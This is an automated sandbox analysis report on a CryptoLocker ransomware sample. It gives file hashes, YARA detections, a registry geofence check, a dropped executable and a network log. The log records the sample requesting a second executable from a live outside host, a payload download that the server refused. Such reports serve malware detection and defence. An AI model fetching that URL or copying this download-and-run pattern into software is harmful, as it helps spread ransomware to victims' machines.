Analysis
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max time kernel
143s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2024 04:46
Static task
static1
Behavioral task
behavioral1
Sample
2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe
Resource
win10v2004-20231215-en
General
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Target
2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe
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Size
61KB
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MD5
de348cc7e266faa613cb8a0f6e4bd914
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SHA1
ad7010a01eaf4e52af962bd4492f263eca4b8b75
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SHA256
2edc4aaa570bdfec33eb9cb7757051a5ae79dae7e141a239afcb8ce8f9e3ebb9
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SHA512
bde9404238add7fd974dc8f74cd1ff394b78d05bcfcc221c688fae6e0f39ed3a5cf8d5d632d18ae58d62a21b542314c3d523b75dbf25d3e331740bcf1567decb
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SSDEEP
1536:o1KhxqwtdgI2MyzNORQtOflIwoHNV2XBFV72BOlA7ZszudnYTjipvF299j:aq7tdgI2MyzNORQtOflIwoHNV2XBFV7r
Malware Config
Signatures
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Detection of CryptoLocker Variants 1 IoCs
resource yara_rule behavioral2/files/0x0007000000023200-12.dat CryptoLocker_rule2 -
Detection of Cryptolocker Samples 1 IoCs
resource yara_rule behavioral2/files/0x0007000000023200-12.dat CryptoLocker_set1 -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation 2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation hurok.exe -
Executes dropped EXE 1 IoCs
pid Process 2432 hurok.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1464 wrote to memory of 2432 1464 2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe 84 PID 1464 wrote to memory of 2432 1464 2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe 84 PID 1464 wrote to memory of 2432 1464 2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe 84
Processes
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C:\Users\Admin\AppData\Local\Temp\2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe"C:\Users\Admin\AppData\Local\Temp\2024-01-29_de348cc7e266faa613cb8a0f6e4bd914_cryptolocker.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Users\Admin\AppData\Local\Temp\hurok.exe"C:\Users\Admin\AppData\Local\Temp\hurok.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
PID:2432
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Network
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Remote address:8.8.8.8:53Request228.249.119.40.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request180.178.17.96.in-addr.arpaIN PTRResponse180.178.17.96.in-addr.arpaIN PTRa96-17-178-180deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Requestgemlttwi.comIN AResponsegemlttwi.comIN A192.185.35.56
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Remote address:192.185.35.56:443RequestGET /tech/2mr.exe HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: gemlttwi.com
Cache-Control: no-cache
ResponseHTTP/1.1 404 Not Found
Server: Apache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://gemlttwi.com/wp-json/>; rel="https://api.w.org/"
Upgrade: h2,h2c
Connection: Upgrade
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
X-nginx-cache: WordPress
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
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Remote address:8.8.8.8:53Request64.159.190.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request56.35.185.192.in-addr.arpaIN PTRResponse56.35.185.192.in-addr.arpaIN PTRimmacbytescom
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Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request23.149.64.172.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request233.38.18.104.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request217.106.137.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request50.23.12.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request206.23.85.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request48.229.111.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request10.173.189.20.in-addr.arpaIN PTRResponse
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4.5kB 110.8kB 89 86
HTTP Request
GET https://gemlttwi.com/tech/2mr.exeHTTP Response
404
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73 B 159 B 1 1
DNS Request
228.249.119.40.in-addr.arpa
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72 B 137 B 1 1
DNS Request
180.178.17.96.in-addr.arpa
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58 B 74 B 1 1
DNS Request
gemlttwi.com
DNS Response
192.185.35.56
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72 B 158 B 1 1
DNS Request
64.159.190.20.in-addr.arpa
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72 B 100 B 1 1
DNS Request
56.35.185.192.in-addr.arpa
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73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
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72 B 134 B 1 1
DNS Request
23.149.64.172.in-addr.arpa
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72 B 134 B 1 1
DNS Request
233.38.18.104.in-addr.arpa
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73 B 147 B 1 1
DNS Request
217.106.137.52.in-addr.arpa
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70 B 156 B 1 1
DNS Request
50.23.12.20.in-addr.arpa
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71 B 145 B 1 1
DNS Request
206.23.85.13.in-addr.arpa
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72 B 158 B 1 1
DNS Request
48.229.111.52.in-addr.arpa
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72 B 158 B 1 1
DNS Request
10.173.189.20.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
61KB
MD5484549625f490a083151bf146485fa89
SHA1e33ff6879dc587779bfb863951cabe59db9c8db9
SHA2565ef068c225072fe7c0d0ea0f34f9f282a229fb09bda4aecd87355d00e6f6dfd1
SHA512161c1511efa034cc83adaa4a25aed89a390ccffd4865423afce94d1bdcea3e2749d0a95a3161800bd702bbdf50c562cecf9996816ecc207b23782a54469057e4